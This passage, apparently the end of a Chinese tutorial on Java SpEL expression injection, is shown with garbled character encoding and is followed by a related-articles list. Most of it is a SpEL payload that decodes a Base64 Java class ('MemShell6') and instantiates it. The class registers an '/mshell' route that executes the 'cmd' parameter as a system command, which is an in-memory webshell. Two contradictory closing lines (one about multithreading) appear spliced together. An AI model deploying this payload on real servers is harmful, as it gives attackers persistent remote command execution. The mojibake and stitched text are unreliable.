T(com.sun.org.apache.xml.internal.security.utils.Base64).decode('yv66vgAAADQA6QoALAB5CABBCwA2AHoKAAoAewgAfAoAfQB+CgAKAH8IAIAKAAoAgQcAgggAgwgAhAgAhQgAhgoAhwCICgCHAIkKAIoAiwcAjAoAEgCNCACOCgASAI8KABIAkAoAEgCRCACSCwA3AJMKAJQAlQoAlACWCACXBwCYCgAdAJkKAJoAmwcAnAgAnQoAIACeBwCfBwCgCwAjAKEHAKIIAKMHAKQHAEYKACgApQoApgCnBwCoCACpCgCmAKoIAKsKACwArAgArQcArggAsQcAsgoANAB5BwCzBwC0CgAkALUKAB0AtgEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQALTE1lbVNoZWxsNjsBAANjbWQBAFIoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlOylWAQAFaXNXaW4BAAFaAQAEY21kcwEAE1tMamF2YS9sYW5nL1N0cmluZzsBAAdwcm9jZXNzAQATTGphdmEvbGFuZy9Qcm9jZXNzOwEAAmluAQAVTGphdmEvaW8vSW5wdXRTdHJlYW07AQABcwEAE0xqYXZhL3V0aWwvU2Nhbm5lcjsBAAZvdXRwdXQBABJMamF2YS9sYW5nL1N0cmluZzsBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQAHcmVxdWVzdAEAJ0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0OwEACHJlc3BvbnNlAQAoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlOwEADVN0YWNrTWFwVGFibGUHAIIHALIHALMHALQHALcHALgHAIwHAJgBABBNZXRob2RQYXJhbWV0ZXJzAQAIPGNsaW5pdD4BAA1vcHRpb25zTWV0aG9kAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBABZnZXRCdWlsZGVyQ29uZmlnTWV0aG9kAQAGY29uZmlnAQASTGphdmEvbGFuZy9PYmplY3Q7AQAKYXR0cmlidXRlcwEAQkxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9jb250ZXh0L3JlcXVlc3QvU2VydmxldFJlcXVlc3RBdHRyaWJ1dGVzOwEAB2NvbnRleHQBADdMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9XZWJBcHBsaWNhdGlvbkNvbnRleHQ7AQAHbWFwcGluZwEAVExvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9tZXRob2QvYW5ub3RhdGlvbi9SZXF1ZXN0TWFwcGluZ0hhbmRsZXJNYXBwaW5nOwEAC3BhdGhzTWV0aG9kAQAMcGF0aHNCdWlsZGVyAQALYnVpbGRNZXRob2QBAARpbmZvAQA/TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL21ldGhvZC9SZXF1ZXN0TWFwcGluZ0luZm87AQAIaW5zdGFuY2UBAAZtZXRob2QHAJwHAJ8HAKAHALkHAKgBAApTb3VyY2VGaWxlAQAOTWVtU2hlbGw2LmphdmEMADoAOwwAugC7DAC8AL0BAAdvcy5uYW1lBwC+DAC/ALsMAMAAwQEAA3dpbgwAwgDDAQAQamF2YS9sYW5nL1N0cmluZwEAB2NtZC5leGUBAAIvYwEABy9iaW4vc2gBAAItYwcAxAwAxQDGDADHAMgHALcMAMkAygEAEWphdmEvdXRpbC9TY2FubmVyDAA6AMsBAAJcQQwAzADNDADOAL0MAM8AwQEAAAwA0ADRBwDSDADTANQMANUAOwEAHE1lbVNoZWxsNiAoRmluYWwpIGlzIGFjdGl2ZSEBABNqYXZhL2xhbmcvRXhjZXB0aW9uDADWANcHANgMANkA2gEAQG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvcmVxdWVzdC9TZXJ2bGV0UmVxdWVzdEF0dHJpYnV0ZXMBADlvcmcuc3ByaW5nZnJhbWV3b3JrLndlYi5zZXJ2bGV0LkRpc3BhdGNoZXJTZXJ2bGV0LkNPTlRFWFQMANsA3AEANW9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvV2ViQXBwbGljYXRpb25Db250ZXh0AQBSb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvbWV0aG9kL2Fubm90YXRpb24vUmVxdWVzdE1hcHBpbmdIYW5kbGVyTWFwcGluZwwA3QDeAQA9b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvbWV0aG9kL1JlcXVlc3RNYXBwaW5nSW5mbwEABXBhdGhzAQAPamF2YS9sYW5nL0NsYXNzDADfAOAHALkMAOEA4gEAEGphdmEvbGFuZy9PYmplY3QBAAcvbXNoZWxsDADjAOQBABdnZXRCdWlsZGVyQ29uZmlndXJhdGlvbgwA5QDmAQAHb3B0aW9ucwEAUm9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL21ldGhvZC9SZXF1ZXN0TWFwcGluZ0luZm8kQnVpbGRlckNvbmZpZ3VyYXRpb24BABRCdWlsZGVyQ29uZmlndXJhdGlvbgEADElubmVyQ2xhc3NlcwEABWJ1aWxkAQAJTWVtU2hlbGw2AQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAEAJmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlDADnAOgMANYAOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQATamF2YS9pby9JbnB1dFN0cmVhbQEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAEADGdldFBhcmFtZXRlcgEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAHaXNFbXB0eQEAAygpWgEAEGphdmEvbGFuZy9TeXN0ZW0BAAtnZXRQcm9wZXJ0eQEAC3RvTG93ZXJDYXNlAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwEAB2hhc05leHQBAARuZXh0AQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsBABNqYXZhL2lvL1ByaW50V3JpdGVyAQAFd3JpdGUBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAAVmbHVzaAEAD3ByaW50U3RhY2tUcmFjZQEAGChMamF2YS9pby9QcmludFdyaXRlcjspVgEAPG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvcmVxdWVzdC9SZXF1ZXN0Q29udGV4dEhvbGRlcgEAGGN1cnJlbnRSZXF1ZXN0QXR0cmlidXRlcwEAPSgpTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvcmVxdWVzdC9SZXF1ZXN0QXR0cmlidXRlczsBAAxnZXRBdHRyaWJ1dGUBACcoTGphdmEvbGFuZy9TdHJpbmc7SSlMamF2YS9sYW5nL09iamVjdDsBAAdnZXRCZWFuAQAlKExqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvT2JqZWN0OwEACWdldE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwEAD3JlZ2lzdGVyTWFwcGluZwEAbihMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvbWV0aG9kL1JlcXVlc3RNYXBwaW5nSW5mbztMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOylWACEANAAsAAAAAAADAAEAOgA7AAEAPAAAAC8AAQABAAAABSq3AAGxAAAAAgA9AAAABgABAAAADgA+AAAADAABAAAABQA/AEAAAAABAEEAQgACADwAAAIAAAQACgAAALwrEgK5AAMCAE4txgCTLbYABJoAjBIFuAAGtgAHEgi2AAk2BBUEmQAYBr0AClkDEgtTWQQSDFNZBS1TpwAVBr0AClkDEg1TWQQSDlNZBS1TOgW4AA8ZBbYAEDoGGQa2ABE6B7sAElkZB7cAExIUtgAVOggZCLYAFpkACxkItgAXpwAFEhg6CSy5ABkBABkJtgAaLLkAGQEAtgAbpwAOLLkAGQEAEhy2ABqnABNOLSy5ABkBALYAHqcABToEsQACAAAAqACrAB0ArAC2ALkAHQADAD0AAABCABAAAABAAAkAQQAUAEIAIwBDAFEARABbAEUAYgBGAHIARwCGAEgAkQBJAJoASgCdAEsAqABPAKsATQCsAE4AuwBQAD4AAABwAAsAIwB3AEMARAAEAFEASQBFAEYABQBbAD8ARwBIAAYAYgA4AEkASgAHAHIAKABLAEwACACGABQATQBOAAkACQCfAEEATgADAKwADwBPAFAAAwAAALwAPwBAAAAAAAC8AFEAUgABAAAAvABTAFQAAgBVAAAAZAAJ/QA9BwBWAVEHACn/ADIACQcAVwcAWAcAWQcAVgEHACkHAFoHAFsHAFwAAEEHAFb/ABgABAcAVwcAWAcAWQcAVgAA+gAKQgcAXf8ADQAEBwBXBwBYBwBZBwBdAAEHAF36AAEAXgAAAAkCAFEAAABTAAAACABfADsAAQA8AAACQwAJAAkAAAD/uAAfwAAgSyoSIQO2ACLAACNMKxIkuQAlAgDAACRNEiYSJwS9AChZAxIpU7YAKk4tBLYAKy0BBL0ALFkDBL0AClkDEi1TU7YALjoEEiQSLwO9ACi2ACo6BRkFBLYAKxkFLAO9ACy2AC46BhkGxgAvGQS2ADASMQS9AChZAxIyU7YAKjoHGQcEtgArGQcZBAS9ACxZAxkGU7YALlenAAU6BRkEtgAwEjMDvQAotgAqOgUZBQS2ACsZBRkEA70ALLYALsAAJjoGuwA0WbcANToHEjQSAgW9AChZAxI2U1kEEjdTtgAqOggZCAS2ACssGQYZBxkItgA4pwAISyq2ADmxAAIASwCbAJ4AHQAAAPYA+QAdAAMAPQAAAGoAGgAAABMABwAUABIAGAAeABsALwAcADQAHQBLACEAWAAiAF4AIwBqACUAbwAmAIQAJwCKACgAmwAsAJ4AKgCgAC8AsAAwALYAMQDGADQAzwA1AOYANgDsADcA9gA7APkAOQD6ADoA/gA8AD4AAACEAA0AhAAXAGAAYQAHAFgAQwBiAGEABQBqADEAYwBkAAYABwDvAGUAZgAAABIA5ABnAGgAAQAeANgAaQBqAAIALwDHAGsAYQADAEsAqwBsAGQABACwAEYAbQBhAAUAxgAwAG4AbwAGAM8AJwBwAEAABwDmABAAcQBhAAgA+gAEAE8AUAAAAFUAAAAoAAX/AJsABQcAcgcAcwcAdAcAdQcAdgAAQgcAXQH/AFgAAAABBwBdBAACAHcAAAACAHgAsAAAAAoAAQAyACYArwAJ'),
T(org.springframework.util.ClassUtils).getDefaultClassLoader()
).newInstance()就可以愉快的執(zhí)行命令了

我們?cè)L問(wèn)mshell路由,傳遞cmd參數(shù)就是我們要執(zhí)行的命令

至此內(nèi)存馬注入完成。
到此這篇關(guān)于Java多線程的文章就介紹到這了,更多相關(guān)Java多線程內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
到此這篇關(guān)于Java SpEL表達(dá)式注入入門學(xué)習(xí)示例教程的文章就介紹到這了,更多相關(guān)java spel表達(dá)式注入內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
詳解Java中while和do-while循環(huán)、break的使用
本文介紹了循環(huán)結(jié)構(gòu)語(yǔ)句while和do-while循環(huán)、break的使用,while循環(huán)語(yǔ)句通過(guò)流程圖和語(yǔ)法語(yǔ)句結(jié)合一個(gè)求1~10的整數(shù)和的例子來(lái)幫助大家理解while循環(huán)的用法,感興趣的朋友跟隨小編來(lái)看看吧2020-11-11
JVM Metaspace內(nèi)存溢出問(wèn)題解決方案
這篇文章主要介紹了JVM Metaspace內(nèi)存溢出排查總結(jié)過(guò)程圖解,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友可以參考下2020-11-11
skywalking分布式服務(wù)調(diào)用鏈路追蹤APM應(yīng)用監(jiān)控
這篇文章主要為大家介紹了skywalking分布式服務(wù)調(diào)用鏈路追蹤APM應(yīng)用監(jiān)控的功能使用說(shuō)明,有需要的朋友可以借鑒參考下,希望能夠有所幫助2022-03-03
MyBatis?Generator快速生成實(shí)體類和映射文件的方法
這篇文章主要介紹了MyBatis?Generator快速生成實(shí)體類和映射文件的方法,通過(guò)示例代碼介紹了MyBatis?Generator?的使用,本文結(jié)合示例代碼給大家介紹的非常詳細(xì),需要的朋友可以參考下2023-10-10

